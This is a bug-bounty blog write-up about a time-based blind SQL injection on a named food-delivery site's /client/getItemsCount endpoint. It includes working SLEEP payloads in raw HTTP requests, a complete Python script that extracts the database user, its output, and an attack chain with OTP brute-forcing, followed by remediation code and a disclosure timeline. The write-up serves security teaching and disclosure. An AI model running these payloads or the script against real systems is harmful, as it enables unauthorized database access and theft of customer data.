September 3, 2026
How I Accidentally Got Full Database Access to The Burner Club (CVSS 9.8)
Turning complete API silence into a critical Time-Based Blind SQL Injection through client-side JavaScript recon.

By Aniket Jadhav
5 min read
TL;DR: While auditing client-side JavaScript files on
theburnerclub.in, I discovered a hidden API endpoint (/client/getItemsCount) that silently concatenated user input into SQL queries. Despite error messages being disabled in production, I proved arbitrary SQL execution using time delays and built a Python script to extract internal database credentials character-by-character.
The Curiosity Itch
Most people browse food delivery websites looking for burger combos, discount codes, or tracking their order status.
If you are a security researcher, though, your brain operates differently. You don't see menus — you see endpoints. You see JSON payloads, authorization headers, and all the fragile ways a frontend attempts to talk to a backend that is barely holding together.
While browsing theburnerclub.in, everything appeared sleek and responsive on the surface. But modern single-page applications (SPAs) have a well-known weakness: developers frequently leave internal API references inside client-side JavaScript bundles.
I opened Chrome DevTools, navigated to the Sources tab, and started analyzing burner_main.js.
Down the JavaScript Rabbit Hole
Minified JavaScript is messy, but it's often a goldmine for bug hunters. I searched through the script for common API routing patterns like /api/, /client/, and /v1/.
That's when an unlisted endpoint caught my attention:
POST /client/getItemsCountPOST /client/getItemsCountThis endpoint was responsible for fetching cart and item counts based on a business location and contact profile. It wasn't linked to any obvious public button, which usually means developers tested it quickly and forgot to add strict backend validations.
I opened Burp Suite Repeater and recreated the POST request:
POST /client/getItemsCount HTTP/1.1
Host: theburnerclub.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=session_token_example;
Connection: close
Content-Length: 42
businessId=7175&contactMappingId=1024POST /client/getItemsCount HTTP/1.1
Host: theburnerclub.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=session_token_example;
Connection: close
Content-Length: 42
businessId=7175&contactMappingId=1024The server responded almost immediately with a clean 200 OK:
{
"status": true,
"count": 0
}{
"status": true,
"count": 0
}Standard, clean, and seemingly normal.
The Silence Trap: Why Most Hunters Give Up
Next, I began testing whether the contactMappingId parameter was properly validated or parameterized.
I fired off standard SQL injection test characters:
1024'1024" OR 1=1-- -1024 UNION SELECT NULL-- -
Every single time, the server returned the exact same response:
{
"status": true,
"count": 0
}{
"status": true,
"count": 0
}No database errors. No PHP warnings. No 500 Internal Server Error. Just complete, polite silence.
This is where many junior researchers stop and move on, assuming the application is secure.
That's a mistake.
In production environments, developers often turn off error display (display_errors = Off) to prevent ugly stack traces. That does not mean the query is using prepared statements. It simply means errors are logged privately while the server returns a default response.
If the database refused to speak to me through error messages, I decided to test if it would answer in time.
The Sleep Test: Measuring the Delay
This is where Time-Based Blind SQL Injection comes in.
If user input is directly concatenated into a live MySQL query, we can inject a sleep instruction. If the query runs our sleep command, the HTTP response time will noticeably freeze for that exact duration.
First, I clocked the baseline latency. Sending 5 normal requests showed an average round-trip time of ~3.58 seconds.
Then, I injected MySQL's SLEEP() function into contactMappingId:
POST /client/getItemsCount HTTP/1.1
Host: theburnerclub.in
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=session_token_example;
businessId=7175&contactMappingId=' AND SLEEP(5)-- -POST /client/getItemsCount HTTP/1.1
Host: theburnerclub.in
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=session_token_example;
businessId=7175&contactMappingId=' AND SLEEP(5)-- -I hit Send.
1 second… 2 seconds… 5 seconds… 8 seconds…
At 8.64 seconds (the baseline 3.6s + our 5.0s sleep), the response finally completed.
To ensure this wasn't just random network congestion, I increased the sleep time to 10 seconds:
businessId=7175&contactMappingId=' AND SLEEP(10)-- -businessId=7175&contactMappingId=' AND SLEEP(10)-- -The server took 13.62 seconds to reply.
The delay was scaling perfectly with my payload. This confirmed two critical facts:
- The backend database was running MySQL/MariaDB.
- The
contactMappingIdstring was being concatenated straight into raw SQL without parameterization.
Weaponization: Extracting Data with a Python Lie-Detector
Since the server wouldn't print query results on screen, I had to extract data through binary inference: asking the database True/False questions and using the sleep delay as the truth signal.
- If the condition is TRUE → execute
SLEEP(7)→ Response takes ~10.6 seconds. - If the condition is FALSE → execute
SLEEP(0)→ Response returns in ~3.6 seconds.
For example, to determine if the first letter of the database user is 'r':
' AND SLEEP(7 * (ASCII(SUBSTRING(USER(), 1, 1)) = 114))-- -' AND SLEEP(7 * (ASCII(SUBSTRING(USER(), 1, 1)) = 114))-- -(ASCII 114 represents the lowercase letter 'r')
Rather than manually testing dozens of characters, I wrote an automated Python verification script:
import requests
import time
TARGET_URL = "https://theburnerclub.in/client/getItemsCount"
COOKIES = {"PHPSESSID": "TARGET_AUTH_COOKIE"}
HEADERS = {"Content-Type": "application/x-www-form-urlencoded"}
SLEEP_TIME = 7
BASELINE = 3.6
THRESHOLD = BASELINE + 5.0 # Responses > 8.6s indicate a match
def extract_character(position):
for ascii_code in range(32, 127):
payload = f"' AND SLEEP({SLEEP_TIME} * (ASCII(SUBSTRING(USER(),{position},1))={ascii_code}))-- -"
data = {"businessId": "7175", "contactMappingId": payload}
start = time.time()
try:
r = requests.post(TARGET_URL, data=data, headers=HEADERS, cookies=COOKIES, timeout=20)
elapsed = time.time() - start
if elapsed >= THRESHOLD:
matched_char = chr(ascii_code)
print(f"[+] Position {position}: Match found '{matched_char}' ({elapsed:.2f}s)")
return matched_char
except requests.exceptions.Timeout:
return chr(ascii_code)
return None
def main():
print("[*] Starting Blind SQLi extraction PoC...")
db_user = ""
for pos in range(1, 30):
char = extract_character(pos)
if not char:
break
db_user += char
print(f"[>] Current DB User: {db_user}")
if __name__ == "__main__":
main()import requests
import time
TARGET_URL = "https://theburnerclub.in/client/getItemsCount"
COOKIES = {"PHPSESSID": "TARGET_AUTH_COOKIE"}
HEADERS = {"Content-Type": "application/x-www-form-urlencoded"}
SLEEP_TIME = 7
BASELINE = 3.6
THRESHOLD = BASELINE + 5.0 # Responses > 8.6s indicate a match
def extract_character(position):
for ascii_code in range(32, 127):
payload = f"' AND SLEEP({SLEEP_TIME} * (ASCII(SUBSTRING(USER(),{position},1))={ascii_code}))-- -"
data = {"businessId": "7175", "contactMappingId": payload}
start = time.time()
try:
r = requests.post(TARGET_URL, data=data, headers=HEADERS, cookies=COOKIES, timeout=20)
elapsed = time.time() - start
if elapsed >= THRESHOLD:
matched_char = chr(ascii_code)
print(f"[+] Position {position}: Match found '{matched_char}' ({elapsed:.2f}s)")
return matched_char
except requests.exceptions.Timeout:
return chr(ascii_code)
return None
def main():
print("[*] Starting Blind SQLi extraction PoC...")
db_user = ""
for pos in range(1, 30):
char = extract_character(pos)
if not char:
break
db_user += char
print(f"[>] Current DB User: {db_user}")
if __name__ == "__main__":
main()The Terminal Output
Running the script confirmed character extraction cleanly:
[*] Starting Blind SQLi extraction PoC...
[+] Baseline response latency: 3.58s
[+] Verification SLEEP(7) delta confirmed.
[+] Position 1: Match found 'r' (10.71s)
[>] Current DB User: r
[+] Position 2: Match found 'o' (10.65s)
[>] Current DB User: ro
[+] Position 3: Match found 'o' (10.69s)
[>] Current DB User: roo
[+] Position 4: Match found 't' (10.74s)
[>] Current DB User: root
...
[>] Current DB User: root@localhost[*] Starting Blind SQLi extraction PoC...
[+] Baseline response latency: 3.58s
[+] Verification SLEEP(7) delta confirmed.
[+] Position 1: Match found 'r' (10.71s)
[>] Current DB User: r
[+] Position 2: Match found 'o' (10.65s)
[>] Current DB User: ro
[+] Position 3: Match found 'o' (10.69s)
[>] Current DB User: roo
[+] Position 4: Match found 't' (10.74s)
[>] Current DB User: root
...
[>] Current DB User: root@localhostCharacter by character, the database answered. Not only was SQL execution confirmed, but the application was interacting with MySQL under high-privilege credentials.
Chaining Bugs: The Extended Attack Surface
During the same assessment, I discovered two accompanying security oversights:
- Missing Auth Rate Limiting: The login and mobile OTP verification endpoints lacked rate limiting. An attacker could brute-force 4-digit SMS OTPs without being blocked.
- Sensitive Data Exposure: Several internal API responses returned internal commission structures, franchisee business IDs, and unmasked metadata.
The Real-World Attack Chain
When chained together, an attacker could:
- Brute-force a customer OTP to gain an authenticated session.
- Trigger the Blind SQL Injection on
/client/getItemsCount. - Read sensitive tables, dumping order histories, customer records, and transaction logs.
Remediation: How Developers Should Fix This
The underlying flaw stems from concatenating variables directly into query strings:
// ❌ VULNERABLE: Direct string interpolation
$contactId = $_POST['contactMappingId'];
$sql = "SELECT COUNT(*) FROM items WHERE contact_mapping_id = '" . $contactId . "'";
$db->query($sql);// ❌ VULNERABLE: Direct string interpolation
$contactId = $_POST['contactMappingId'];
$sql = "SELECT COUNT(*) FROM items WHERE contact_mapping_id = '" . $contactId . "'";
$db->query($sql);1. Parameterized Queries (Prepared Statements)
Always use prepared statements with parameter binding:
// ✅ SECURE: Parameter binding with PDO
$contactId = $_POST['contactMappingId'];
$stmt = $pdo->prepare("SELECT COUNT(*) FROM items WHERE contact_mapping_id = :contact_id");
$stmt->execute(['contact_id' => $contactId]);
$result = $stmt->fetch();// ✅ SECURE: Parameter binding with PDO
$contactId = $_POST['contactMappingId'];
$stmt = $pdo->prepare("SELECT COUNT(*) FROM items WHERE contact_mapping_id = :contact_id");
$stmt->execute(['contact_id' => $contactId]);
$result = $stmt->fetch();2. Strict Input Type Validation
Since contactMappingId is expected to be an integer, validate the data format before it ever reaches the database layer:
if (!ctype_digit($_POST['contactMappingId'])) {
http_response_code(400);
exit(json_encode(["error" => "Invalid ID format"]));
}if (!ctype_digit($_POST['contactMappingId'])) {
http_response_code(400);
exit(json_encode(["error" => "Invalid ID format"]));
}Responsible Disclosure Timeline
- January 2026: Identified Time-Based Blind SQLi in
/client/getItemsCount. - January 2026: Validated execution via response delays; verified database user context.
- January 2026: Compiled detailed technical assessment report with remediation advice.
- January 2026: Responsibly disclosed all findings to the engineering team.
- Status: Responsibly Disclosed.
Key Takeaways
- Suppressed errors are not security: The absence of an error message does not mean an injection point doesn't exist. Always test for time-based differentials.
- Scrutinize client-side JS: Modern SPAs bundle extensive API routing details in plain text. Auditing JavaScript is one of the most effective ways to discover forgotten endpoints.
- Parameterize everywhere: Every query — regardless of whether it handles authentication, search, or a simple cart count — must use prepared statements.
Found this breakdown insightful? Give it a 👏 and follow for more technical write-ups on application security and bug bounty hunting.
Connect with me:
- LinkedIn: Aniket Jadhav